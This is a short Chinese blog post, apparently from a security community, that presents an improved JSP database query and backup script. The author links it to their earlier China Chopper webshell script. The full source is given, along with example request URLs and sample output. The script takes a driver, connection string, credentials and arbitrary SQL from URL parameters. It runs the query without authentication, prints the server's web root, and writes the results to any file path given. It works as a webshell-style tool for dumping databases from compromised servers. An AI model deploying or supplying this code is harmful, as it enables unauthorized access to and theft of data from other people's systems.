jsp jdbc查询和备份脚本

yzmm
610 阅读
以前发的那个菜刀jsp脚本就有这个功能,只是在菜刀里面操作起来没有直接自己带参数那么好使。之前基本上只考虑了简单的连接方式,对于复杂点的Oracle的RAC并不实用。改进了下小脚本,查询参数直接在请求的URL传递就行了。可以直接是URL也可以是URL+USER+PASS,path参数如果传表示备份到指定路径,不传表示在当前页面显示。写文件默认指定的是UTF-8,如乱码需修改编码或连接字符串里面添加编码,如:jdbc:mysql://localhost:3306/dbname?useUnicode=true&characterEncoding=UTF-8。数据源方式连接已发过,都差不多不再发了。好了以后请小伙伴儿不要再问这个问题了,谢谢。

http://localhost:8080/Struts/index.jsp?driver=com.mysql.jdbc.Driver&url=jdbc%3Amysql%3A%2f%2flocalhost%3A3306%2ftest%3Fuser%3Droot%26password%3D111111&sql=select version(),user(),database()&path=/Users/yz/1.txt

http://localhost:8080/Struts/index.jsp?driver=com.mysql.jdbc.Driver&url=jdbc%3Amysql%3A%2f%2flocalhost%3A3306%2ftest&user=root&pass=111111&sql=select version(),user(),database()&path=/Users/yz/1.txt

如果是RAC直接写rac字符串。

带path参数:

源码:

<%@page import="java.io.*,java.util.*,java.sql.*"%>
<style>
th,td {
	border: 1px solid #C1DAD7;
	font-size: 12px;
	padding: 6px;
	color: #4f6b72;
}
</style>
<%
	try {
		Class.forName(request.getParameter("driver"));
		String user = request.getParameter("user");
		String sql = request.getParameter("sql");
		Connection c = null;
		if(user==null){
			c = DriverManager.getConnection(request.getParameter("url"));
		}else{
			c = DriverManager.getConnection(request.getParameter("url"),request.getParameter("user"),request.getParameter("pass"));
		}
		BufferedWriter bw = null;
		if (c != null) {
			String path = request.getParameter("path");
			boolean f = path != null && !"".equals(path);
			ResultSet rs = c.prepareStatement(sql).executeQuery();
			ResultSetMetaData d = rs.getMetaData();
			out.println("<font color='red'>WebPath:"+request.getSession().getServletContext().getRealPath("/")+"<br/>SQL:"+sql+"</font><br/><table><tr>");
			if (f) {
				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(request.getParameter("path"))),"UTF-8"));
			}
			for (int i = 1; i <= d.getColumnCount(); i++) {
				if (f) {
					bw.write(d.getColumnName(i) + "("+ d.getColumnTypeName(i) + ")");
				} else {
					out.println("<th>" + d.getColumnName(i) + "("+ d.getColumnTypeName(i) + ")\t" + "</th>");
				}
			}
			if (f) {
				bw.newLine();
			}
			out.println("<tr/>");
			while (rs.next()) {
				out.println("<tr>");
				for (int i = 1; i <= d.getColumnCount(); i++) {
					if (f) {
						bw.write(rs.getObject(d.getColumnName(i)) + " ");
					} else {
						out.println("<td>"+ rs.getObject(d.getColumnName(i))+ "</td>");
					}
				}
				if (f) {
					bw.newLine();
				} else {
					out.println("<tr/>");
				}
			}
			if (f) {
				bw.flush();
				bw.close();
				out.println("[/ok]");
			}
		} else {
			out.println("Connection Error!");
		}
	} catch (Exception e) {
		out.println(e.toString());
	}
%>

导出格式:

version()(VARCHAR)user()(VARCHAR)database()(VARCHAR)
5.5.36 root@localhost test

评论 (0)

发表评论